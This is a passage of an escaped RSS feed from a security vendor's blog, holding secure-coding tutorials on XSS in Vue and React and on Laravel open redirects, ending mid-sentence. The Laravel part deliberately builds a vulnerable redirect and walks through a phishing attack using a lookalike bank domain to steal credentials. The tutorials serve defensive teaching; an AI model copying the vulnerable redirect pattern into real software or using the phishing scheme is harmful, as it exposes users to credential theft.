&lt;u&gt;sanitized&lt;/u&gt;&lt;/a&gt; and that it&amp;#39;s safe to render in the browser.&lt;/p&gt;&lt;p&gt;There are many tools available to sanitize the HTML. Which one you use will depend on your environment.&lt;/p&gt;&lt;p&gt;For this example, we&amp;#39;ll use the &lt;b&gt;sanitize-html&lt;/b&gt; package and add that to our project. You can type in the following command to install this package:&lt;/p&gt;&lt;p&gt;&lt;code&gt;npm install sanitize-html&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Once you&amp;#39;ve installed it, update your &lt;b&gt;src\components\NoteList.vue&lt;/b&gt; file and use the &lt;b&gt;sanitizeHtml&lt;/b&gt; method to sanitize the HTML used with the &lt;b&gt;v-html&lt;/b&gt; directive.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once you reload the page, you&amp;#39;ll see that your users can still style their content using the HTML tags, but the dangerous HTML tags and attributes are stripped.&lt;/p&gt;&lt;p&gt;Whichever sanitizer you end up using, you can define which tags to allow and which to block.&lt;/p&gt;&lt;p&gt;Keep in mind that you should never depend on just client side validation/sanitization. We used this package to demonstrate a fix for our example application. But in an ideal scenario, you&amp;#39;d be running the sanitizer in your back end before user-generated data is saved to the DB.&lt;/p&gt;&lt;h3&gt;Use a Content Security Policy&lt;/h3&gt;&lt;p&gt;Another option that you can consider is using a&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt; &lt;u&gt;Content Security Policy (CSP)&lt;/u&gt;&lt;/a&gt;. A CSP isn&amp;#39;t limited to Vue. Instead, it&amp;#39;s a security mechanism that you can apply to your entire website.&lt;/p&gt;&lt;p&gt;You can define a CSP that&amp;#39;s as restrictive or permissive as you want. People usually use it in conjunction with other forms of protection, and it serves as the first line of defense.&lt;/p&gt;&lt;h2&gt;Beyond the Basics&lt;/h2&gt;&lt;p&gt;In this post, we briefly introduced the concept of XSS attacks and looked at an example of the vulnerability in Vue. We also discussed multiple approaches to solving this issue.&lt;/p&gt;&lt;p&gt;Don&amp;#39;t let the contrived example and the simple use case lull you into a false sense of security. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;XSS attacks come in all different shapes and sizes and can affect any system that deals with &lt;b&gt;user-generated input.&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Make sure you stay one step ahead of the attackers and keep yourself and your users safe.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; can provide information that helps you keep users safe. Check out the helpful&lt;a href=&quot;https://www.stackhawk.com/blog&quot;&gt; &lt;u&gt;blog&lt;/u&gt;&lt;/a&gt;, or&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;sign up for free&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by John Pereira. &lt;/i&gt;&lt;a href=&quot;http://randomcoding.com/&quot;&gt;&lt;u&gt;&lt;i&gt;John&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a technology enthusiast who&amp;#39;s passionate about his work and all forms of technology. With over 15 years in the technology space, his area of expertise lies in API and large scale web application development, and its related constellation of technologies and processes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[React XSS Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/react-xss-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The web has grown vastly over the years in terms of technologies, frameworks, complexity, and utility. Today, more than a billion people browse through thousands of websites every day. As a result, the internet is always flooded with sensitive data like user credentials, credit card details, etc. &lt;/p&gt;&lt;p&gt;Therefore, developers must be aware of common vulnerabilities that hackers can exploit to misuse their users&amp;#39; data. One such vulnerability is cross-site scripting (XSS). In this post, you&amp;#39;ll understand what XSS is and how it impacts your users. You&amp;#39;ll also learn how far React protects your app from XSS attacks and steps to make your React application immune to XSS. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;XSS Attacks: An Overview&lt;/h2&gt;&lt;p&gt;JavaScript lies at the heart of the client-side of any application. This is because your application&amp;#39;s front end roughly amounts to some JavaScript code running on your browser. &lt;/p&gt;&lt;p&gt;To illustrate this, let&amp;#39;s take a simple example of an online transaction. When you carry out a transaction on a website, it runs some JavaScript to grab your credentials from the input fields and process them. However, the developers can easily run some additional JavaScript to do something detrimental with that information. &lt;/p&gt;&lt;p&gt;That&amp;#39;s precisely what XSS is. An attacker can exploit your application&amp;#39;s vulnerability to inject some malicious script into your user&amp;#39;s browser, carrying out an XSS attack. Now that you know what an XSS attack is, let&amp;#39;s understand how it can happen with an example. &lt;/p&gt;&lt;h2&gt;How Can an XSS Attack Happen?&lt;/h2&gt;&lt;p&gt;One of the most common types of XSS attacks is a DOM-based XSS attack. When you mutate DOM directly, it becomes easy for an attacker to inject it with data containing malicious JavaScript. &lt;/p&gt;&lt;p&gt;Consider the following HTML code. It simply renders some basic markup with an empty &lt;b&gt;&amp;lt;div&amp;gt;&lt;/b&gt; element. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The above code renders an &lt;b&gt;&amp;lt;input&amp;gt;&lt;/b&gt; element on the page with a submit button. On pressing the submit button, you fire a function. Inside the function, you evaluate what the user has entered. You then provide a feedback message to the user based on the result inside the empty &lt;b&gt;&amp;lt;div&amp;gt;&lt;/b&gt; element. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Using the &lt;b&gt;append&lt;/b&gt; method, you render a message inside your empty &lt;b&gt;&amp;lt;div&amp;gt;&lt;/b&gt; element. However, this exposes a vulnerability in your application. Consider the following JavaScript code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The attacker basically renders the validation message along with a malicious &lt;b&gt;&amp;lt;script&amp;gt;&lt;/b&gt;. This was possible because the application was modifying DOM directly using the &lt;b&gt;append()&lt;/b&gt; method on the &lt;b&gt;&amp;lt;div&amp;gt;&lt;/b&gt;. Inside the &lt;b&gt;&amp;lt;script&amp;gt;&lt;/b&gt;, the attacker can write code that steals your confidential and sensitive information. On similar grounds, if you use &lt;b&gt;innerHTML&lt;/b&gt; to mutate DOM directly, you&amp;#39;re exposing your application to a potential XSS attack. &lt;/p&gt;&lt;p&gt;Thus, an XSS attack can be an alarming sight for your users. However, front-end frameworks have come a long way and provide some protection against such attacks out of the box. Let&amp;#39;s look at how React handles these situations for you and how far it secures your application against an XSS attack. &lt;/p&gt;&lt;h2&gt;Is React XSS Foolproof?&lt;/h2&gt;&lt;p&gt;Luckily, React does a few things under the hood to safeguard your application against XSS attacks. Let&amp;#39;s rewrite the code in the previous section in React as shown: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Just like before, I have an &lt;b&gt;&amp;lt;input&amp;gt;&lt;/b&gt; element with a &lt;b&gt;&amp;lt;button&amp;gt;&lt;/b&gt; that fires the &lt;b&gt;validateMessage &lt;/b&gt;function. I have created a state &lt;b&gt;validationMessage&lt;/b&gt; that I set inside the &lt;b&gt;validateMessage&lt;/b&gt; function using a &lt;b&gt;setTimeout.&lt;/b&gt; Finally, I output the &lt;b&gt;validationMessage&lt;/b&gt; inside an empty&lt;b&gt; &amp;lt;div&amp;gt;&lt;/b&gt; element using JSX. &lt;/p&gt;&lt;p&gt;&lt;code&gt;      &amp;lt;div&amp;gt;
        {validationMessage}
      &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;React outputs elements and data inside them using auto escaping. It interprets everything inside &lt;b&gt;validationMessage&lt;/b&gt; as a string and does not render any additional HTML elements. This means that if &lt;b&gt;validationMessage&lt;/b&gt; was somehow infiltrated by an attacker with some &lt;b&gt;&amp;lt;script&amp;gt;&lt;/b&gt; tags, React would simply ignore it and render it as a string. &lt;/p&gt;&lt;p&gt;To demonstrate this, I&amp;#39;ll make a slight modification to the &lt;b&gt;validateMessage&lt;/b&gt; method as shown below: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you check now, the &lt;b&gt;&amp;lt;script&amp;gt;&lt;/b&gt; tags get rendered as strings instead of a DOM element. &lt;/p&gt;&lt;p&gt;&lt;i&gt;React JSX auto escape.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now, any JavaScript enclosed by the &lt;b&gt;&amp;lt;script&amp;gt;&lt;/b&gt; tags will not be executed. Thus, the above behavior protects your application from an attacker trying to execute a DOM-based XSS attack. React&amp;#39;s official docs also mention this &lt;a href=&quot;https://reactjs.org/docs/introducing-jsx.html#jsx-prevents-injection-attacks&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. Thus, using JSX to conditionally output some content or data to your DOM safeguards it against an XSS attack. &lt;/p&gt;&lt;p&gt;But does that mean your React application is safe from all kinds of XSS attacks? We only considered the use case of outputting an element or a string using JSX. What if we actually need to render HTML elements directly on the DOM from inside the JSX? &lt;/p&gt;&lt;h2&gt;Render HTML Elements Dynamically in React&lt;/h2&gt;&lt;p&gt;The most common use case where you&amp;#39;d want to render HTML elements directly is a blogging application. In typical blogging applications, you receive your blogs as a combination of HTML elements. These elements wrap your blog&amp;#39;s content, preserving its formatting. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s say you have a small React component that gets a blog from the server and renders it on the DOM. Consider the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Inside the component, I have a &lt;b&gt;blog&lt;/b&gt; variable that stores your blog&amp;#39;s content wrapped in proper HTML elements. If you directly output the &lt;b&gt;blog&lt;/b&gt; variable inside your JSX, it would be interpreted as a string. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Rendering a blog using JSX.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;While that safeguards your application against a DOM-based XSS attack, it ruins the experience for your users. Therefore, you need to render your blog as a markup instead of rendering it as a string. This will render your content along with its dedicated HTML tags. &lt;/p&gt;&lt;p&gt;React allows you to do that using a prop called &lt;b&gt;dangerouslySetInnerHTML&lt;/b&gt;. You can pass this prop to any generic container element. It takes in an object with a key &lt;b&gt;_html &lt;/b&gt;whose value is the HTML markup you wish to render inside the container. &lt;/p&gt;&lt;p&gt;&lt;code&gt; &amp;lt;div className=&amp;quot;App&amp;quot;&amp;gt;
    &amp;lt;div dangerouslySetInnerHTML={{__html:blog}}&amp;gt;
    &amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;If you check back now, you should see your blog with its intended formatting. &lt;/p&gt;&lt;p&gt;Rendering formatted blog using &lt;b&gt;dangerouslySetInnerHTML&lt;/b&gt;&lt;/p&gt;&lt;p&gt;All HTML elements contained by the &lt;b&gt;blog&lt;/b&gt; variable are properly rendered on the DOM. However, this puts us back at square one! We again have an XSS vulnerability in our application, and the attacker could inject some malicious scripts inside the &lt;b&gt;blog&lt;/b&gt; variable. In fact, the &lt;b&gt;dangerouslySetInnerHTML&lt;/b&gt; prop intentionally has the word &amp;quot;dangerous&amp;quot; in it to remind you that you should be cautious while using it. React&amp;#39;s official docs also mention this &lt;a href=&quot;https://reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;Sanitize Data in React&lt;/h2&gt;&lt;p&gt;In order to protect your application from a DOM-based XSS attack, you must sanitize data that contains HTML elements before rendering it on the DOM. There are a number of libraries out there that you can use. One such library is &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt;.  Let&amp;#39;s see how we can use it in our React application. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s first install DOMPurify inside our React application by running the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm i dompurify &lt;/code&gt;&lt;/p&gt;&lt;p&gt;To use it, import &lt;b&gt;DOMPurify&lt;/b&gt; from the library at the top as shown:&lt;/p&gt;&lt;p&gt;&lt;code&gt;import DOMPurify from &amp;#39;dompurify&amp;#39;; &lt;/code&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#39;s create a new variable, &lt;b&gt;sanitizedBlog&lt;/b&gt;, that contains the sanitized version of our blog. &lt;/p&gt;&lt;p&gt;&lt;code&gt;  const sanitizedBlog=DOMPurify.sanitize(blog)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Finally, we can now use sanitizedBlog instead of blog inside the dangerouslySetInnerHTML prop as shown: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;div className=&amp;quot;App&amp;quot;&amp;gt;
      &amp;lt;div dangerouslySetInnerHTML={{__html: sanitizedBlog}}&amp;gt;
      &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Everything should still work the same, but your &lt;b&gt;sanitizedBlog&lt;/b&gt; is now protected against any malicious XSS injections. There are other libraries out there that do this, like &lt;a href=&quot;https://www.npmjs.com/package/sanitize-html-react#sanitize-html&quot;&gt;&lt;u&gt;sanitize-html-react&lt;/u&gt;&lt;/a&gt;. You can try them out or learn more about how DOMPurify works &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;Escape Hatches in React Can Cause an XSS Attack&lt;/h2&gt;&lt;p&gt;A lot of times, you want to get a reference to a DOM element in your React application. React provides you with &lt;b&gt;findDOMNode&lt;/b&gt; and &lt;b&gt;createRef&lt;/b&gt; as escape hatches. These methods give a direct reference to the DOM elements. Consider the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;I have a simple &lt;b&gt;&amp;lt;div&amp;gt;&lt;/b&gt; with the ref &lt;b&gt;divRef&lt;/b&gt;. When the component&amp;#39;s DOM loads, I change the content inside this &lt;b&gt;&amp;lt;div&amp;gt;&lt;/b&gt; using the &lt;b&gt;innerHTML&lt;/b&gt; property on its ref. An attacker can easily inject some malicious script by overriding the &lt;b&gt;innerHTML&lt;/b&gt; of the &lt;b&gt;&amp;lt;div&amp;gt;&lt;/b&gt; inside the &lt;b&gt;useEffect.&lt;/b&gt; &lt;/p&gt;&lt;p&gt;The trick here is simple. Don&amp;#39;t use&lt;b&gt; innerHTML&lt;/b&gt; to mutate DOM at all! This is yet again a similar situation where you&amp;#39;re modifying DOM directly. If you are using refs to add some content inside your HTML elements, use &lt;b&gt;innerText&lt;/b&gt; instead. &lt;/p&gt;&lt;p&gt;&lt;code&gt;useEffect(() =&amp;gt; {
  divRef.current.innerText = myName;
}, [myName])&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, even if the attacker is able to inject some &lt;b&gt;&amp;lt;script&amp;gt;&lt;/b&gt; tags through &lt;b&gt;divRef&lt;/b&gt;, it will be rendered as a string in your application. This kind of pattern is rare, and you should always avoid mutating DOM directly using refs. &lt;/p&gt;&lt;h2&gt;Key Takeaways&lt;/h2&gt;&lt;p&gt;Protecting your React application from XSS is not a one-step process. The best way to safeguard your React application against XSS attacks is to anticipate them early in your codebase. You can then define a set of rules or coding guidelines for your application. All developers on your team can follow these guidelines to ensure that whatever &lt;a href=&quot;https://www.stackhawk.com/blog/java-xss/&quot;&gt;&lt;u&gt;code&lt;/u&gt;&lt;/a&gt; they write is not prone to XSS or any other vulnerabilities. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s how you can prevent XSS in your application: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Validate all data that flows into your application from the server or a third-party API. This cushions your application against an XSS attack, and at times, you may be able to prevent it, as well.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Don&amp;#39;t mutate DOM directly. If you need to render different content, use &lt;b&gt;innerText&lt;/b&gt; instead of &lt;b&gt;innerHTML&lt;/b&gt;. Be extremely cautious when using escape hatches like &lt;b&gt;findDOMNode&lt;/b&gt; or &lt;b&gt;createRef&lt;/b&gt; in React.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Always try to render data through JSX and let React handle the security concerns for you.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use &lt;b&gt;dangerouslySetInnerHTML&lt;/b&gt; in only specific use cases. When using it, make sure you&amp;#39;re sanitizing all your data before rendering it on the DOM.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Avoid writing your own sanitization techniques. It&amp;#39;s a separate subject on its own that requires some expertise.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use good libraries for sanitizing your data. There are a number of them, but you must compare the pros and cons of each specific to your use case before going forward with one.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;You can use the above points as a coding guideline when building React applications. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;As developers, we must learn how to build safe and secure applications. XSS is one of the most common application vulnerabilities that has existed for a long time. We discussed DOM-based XSS attacks, but there are others that are equally important and dangerous. If you wish to dive deeper into XSS, &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;here&amp;#39;s&lt;/u&gt;&lt;/a&gt; an amazing guide that can help you out. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel Open Redirect Security Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-open-redirect-security-guide</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The internet is, by its nature, a connected place. It&amp;#39;s filled with resources linking to other resources in a glorious spiderweb of information, both delightful and terrifying. Enabling this functionality is the humble URL, which can point you in the right direction or just as easily lead you astray.&lt;/p&gt;&lt;p&gt;In this blog post, you&amp;#39;ll learn about a security vulnerability called the open redirect vulnerability and how to protect yourself against it. The open redirect vulnerability allows a malicious actor to craft a special URL that will trick a user into trusting an untrustworthy website.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s start by finding out more about this vulnerability.&lt;/p&gt;&lt;h2&gt;What&amp;#39;s an Open Redirect Vulnerability?&lt;/h2&gt;&lt;p&gt;Open redirect vulnerabilities happen when a website allows user-generated content to be used as a parameter during a URL redirection. If the user-generated content isn&amp;#39;t validated, an attacker can craft a URL that looks trustworthy but isn&amp;#39;t. This URL will look like it&amp;#39;s on the current domain, but it will in reality point to an external domain under the attacker&amp;#39;s control.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s an example. Let&amp;#39;s assume that the MyBank website has a vulnerable redirector that an attacker knows about. MyBank uses the &lt;b&gt;redirect_url&lt;/b&gt; parameter to send the user to the page they were trying to access before they were asked to log in.&lt;/p&gt;&lt;p&gt;&lt;i&gt;An example of a redirect URL that could be used as a phishing attack.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The MyBank website assumes that the &lt;b&gt;redirect_url&lt;/b&gt; parameter always points within the site. But an attacker can change this URL so that it redirects to a completely different website named NyBank that&amp;#39;s under the attacker&amp;#39;s control.&lt;/p&gt;&lt;p&gt;This means that once the user logs in, MyBank will redirect the user to NyBank on nybank.com. This website could look exactly like MyBank, and the user wouldn&amp;#39;t be any the wiser because they came in through a trusted source.&lt;/p&gt;&lt;p&gt;At this point, the attacker can have the user fill in a fake login form that steals the user&amp;#39;s credentials for the MyBank website.&lt;/p&gt;&lt;p&gt;I learn things faster when I see examples. So we&amp;#39;re going to create a website for MyBank and put in this functionality. First, we&amp;#39;ll put it in the wrong way and see how the vulnerability works. After that, we&amp;#39;ll explore a couple of approaches we can use to fix this vulnerability.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s get started!&lt;/p&gt;&lt;h2&gt;Recreating the Vulnerability&lt;/h2&gt;&lt;p&gt;In this section, we&amp;#39;ll set up Laravel to show how this vulnerability works. The code in this blog assumes that you have Docker running. You&amp;#39;ll also need to be running either a Mac/Linux environment or Windows with WSL 2.0 installed. If you&amp;#39;re in a different environment or looking for alternate installation options, have a look at the&lt;a href=&quot;https://laravel.com/docs/8.x/installation&quot;&gt; &lt;u&gt;Laravel docs&lt;/u&gt;&lt;/a&gt; to set things up.&lt;/p&gt;&lt;h3&gt;Setting Up&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s start by setting up an application that&amp;#39;ll simulate the MyBank website. Run the following commands to get going:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once the commands have finished running, try to load your website on &lt;b&gt;http://localhost&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Default landing page.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;If everything worked out well, you should see something like the above. If you do, then you&amp;#39;re ready to move to the next step and set up the redirect.&lt;/p&gt;&lt;h3&gt;Creating Our Fake Bank&lt;/h3&gt;&lt;p&gt;To make this a good example, we&amp;#39;ll need the following functionality:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Public landing page with some links&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A mixed bag of public and private pages&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Fake login page that serves as a &amp;quot;gate&amp;quot; to access private pages&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Let&amp;#39;s start by creating the landing page.&lt;/p&gt;&lt;h3&gt;Creating the Landing Page&lt;/h3&gt;&lt;p&gt;To change the content on the landing page, open the &lt;b&gt;/resources/views/welcome.blade.php&lt;/b&gt;. Then put in the following content:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now, let&amp;#39;s create the page handler.&lt;/p&gt;&lt;h3&gt;Creating the Page Handler&lt;/h3&gt;&lt;p&gt;Create a new file, &lt;b&gt;app/Http/PageController.php&lt;/b&gt;. Put the following code inside it. This will handle the different page view functions.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This controller has three functions. The &lt;b&gt;showAddress&lt;/b&gt; function is publicly accessible and will show you the bank&amp;#39;s address. The &lt;b&gt;showBalance&lt;/b&gt; and &lt;b&gt;showAccount&lt;/b&gt; functions are accessible only if you&amp;#39;ve logged in. If you haven&amp;#39;t logged in, you get redirected to the login page.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s create the login page so it can handle the redirection.&lt;/p&gt;&lt;h3&gt;Creating the Login Page&lt;/h3&gt;&lt;p&gt;We&amp;#39;ll create a simple controller to simulate the login functionality. This is only for demonstration purposes, and you should use an&lt;a href=&quot;https://laravel.com/docs/8.x/authentication&quot;&gt; &lt;u&gt;existing auth library&lt;/u&gt;&lt;/a&gt; if you want a real authentication system.&lt;/p&gt;&lt;p&gt;Create a new file named &lt;b&gt;app/Http/Controllers/LoginController.php&lt;/b&gt;, and put the code below in it.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And finally, create the login view by creating a new file named &lt;b&gt;resources/views/login.blade.php&lt;/b&gt;. Put the code below in it.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;That wraps up all of the controllers and the views we needed to create! Now, we just need to wire it all together.&lt;/p&gt;&lt;h3&gt;Setting Up the Routes&lt;/h3&gt;&lt;p&gt;Open the router file in &lt;b&gt;/routes/web.php&lt;/b&gt;. Then, paste the following code right at the bottom.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Your app should now be fully functional.&lt;/p&gt;&lt;p&gt;Try reloading the page, and see if you get something like this:&lt;/p&gt;&lt;p&gt;If the page loads correctly for you, then everything&amp;#39;s as it should be.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s go ahead and use our makeshift site to learn more.&lt;/p&gt;&lt;h3&gt;Exploring the Vulnerability&lt;/h3&gt;&lt;p&gt;Try out the following steps in your website:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Load the landing page.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Click the &lt;b&gt;Contact Us&lt;/b&gt; link. You should see the address of the bank, since this is public information.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Click back, and now click the &lt;b&gt;View Account Balance&lt;/b&gt; link. You&amp;#39;ll see a message asking you to log in.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use the username of &amp;quot;bob&amp;#39;&amp;#39; and a password of &amp;quot;1234&amp;quot; to log in. You&amp;#39;re automatically redirected to the account balance page.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;On the surface, things seem to be working fine. Try going back to the home page and logging out. And then click the &lt;b&gt;View Account Balance&lt;/b&gt; link again.&lt;/p&gt;&lt;p&gt;&lt;i&gt;The &lt;/i&gt;&lt;i&gt;&lt;b&gt;redirect_url&lt;/b&gt;&lt;/i&gt;&lt;i&gt; parameter is part of the URL.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Pay attention to the URL. The &lt;b&gt;redirect_url&lt;/b&gt; parameter tells the page where to go after login. This is a problem because the user can change this URL. The danger isn&amp;#39;t to the current user. Instead, the danger is in the website allowing unrestricted redirects.&lt;/p&gt;&lt;p&gt;Try copying that URL and changing it to &lt;b&gt;http://localhost/login?redirect_url=https://www.stackhawk.com/&lt;/b&gt; and putting it into your browser.&lt;/p&gt;&lt;p&gt;Once you log in, you now get redirected to the StackHawk home page!&lt;/p&gt;&lt;h3&gt;A Plausible Attack&lt;/h3&gt;&lt;p&gt;So what&amp;#39;s the danger here?&lt;/p&gt;&lt;p&gt;Imagine the attacker knows that a user named Bob has an account at MyBank. They buy the nybank.com domain because it&amp;#39;s visually similar. And then they create a website login page that&amp;#39;s identical to the one that MyBank maintains. They add a generic message to the page informing the user that their credentials are wrong and to retry logging in. This page simply captures the username and password entered into the login form and redirects the user to mybank.com.&lt;/p&gt;&lt;p&gt;They then craft their URL so that it uses MyBank&amp;#39;s own unrestricted redirect functionality to redirect to their malicious website.&lt;/p&gt;&lt;p&gt;They can then send Bob an email pretending to be from the bank, using an&lt;a href=&quot;https://www.linkedin.com/pulse/20-phishing-emails-beyond-dmarcs-reach-aaron-neff/&quot;&gt; &lt;u&gt;email spoofing&lt;/u&gt;&lt;/a&gt; attack, and include this special URL in the email.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s say that Bob is in the minority of technically savvy users who check the hostname before clicking on links. The link is genuine and correctly has mybank.com as the hostname.&lt;/p&gt;&lt;p&gt;And let&amp;#39;s say that he&amp;#39;s in the even tinier minority of users who check the SSL certificate when they load a website. Again, everything checks out because the website is genuine.&lt;/p&gt;&lt;p&gt;Bob logs in, and then MyBank redirects him to nybank.com, which looks exactly the same and asks him to log in again. He assumes he made a typo and logs in again.&lt;/p&gt;&lt;p&gt;The malicious website simply captures the information and redirects Bob to mybank.com. Bob doesn&amp;#39;t even know that someone has stolen his credentials!&lt;/p&gt;&lt;p&gt;As you can see, malicious users can exploit open redirect vulnerabilities with far-reaching consequences. Fortunately, there are multiple ways to guard against this vulnerability. Let&amp;#39;s have a look at those now.&lt;/p&gt;&lt;h2&gt;Fixing Open Redirect Vulnerabilities&lt;/h2&gt;&lt;p&gt;Since we already introduced this vulnerability to our application, let&amp;#39;s explore our options and apply a fix.&lt;/p&gt;&lt;h3&gt;Not Just a Login Page Problem&lt;/h3&gt;&lt;p&gt;Remember, we use this login page vulnerability as an example only. This vulnerability can exist in &lt;i&gt;any&lt;/i&gt; place that you do redirects based on user inputs.&lt;/p&gt;&lt;p&gt;The easiest solution to fix this vulnerable login example is to use the existing Auth package. However, that doesn&amp;#39;t give us a chance to discuss possible approaches to the actual issue. So make sure you take away the problem-solving pattern behind these solutions, rather than just the specific implementation.&lt;/p&gt;&lt;p&gt;All of the examples below will reference the &lt;b&gt;app.Http/Controllers/LoginController.php&lt;/b&gt; file and &lt;b&gt;confirmLogin() &lt;/b&gt;method. I&amp;#39;ve taken out the other methods for brevity.&lt;/p&gt;&lt;h3&gt;Fixed Redirects Solution&lt;/h3&gt;&lt;p&gt;Removing the user&amp;#39;s ability to change the value of the URL is possibly the most secure way to fix this. In this case, we simply remove the variable redirection and always send the user to the home page after logging in. So your &lt;b&gt;confirmLogin&lt;/b&gt; would then be updated to something like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The downside of this approach is that it&amp;#39;s not very friendly for the user. They&amp;#39;ll have to re-navigate to the link that they were trying to access before being asked to log in. The next approach fixes this limitation.&lt;/p&gt;&lt;h3&gt;Whitelisted Redirects Solution&lt;/h3&gt;&lt;p&gt;If we don&amp;#39;t want the user&amp;#39;s navigation flow reset, then we can try whitelisting the allowed redirect URLs. A whitelist is just an array of pages that the redirect function is allowed to redirect to. If the redirect URL isn&amp;#39;t in the list, then we just redirect the user to the home page.&lt;/p&gt;&lt;p&gt;This solution should look something like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This allows you to define which URLs are safe to redirect to, and it 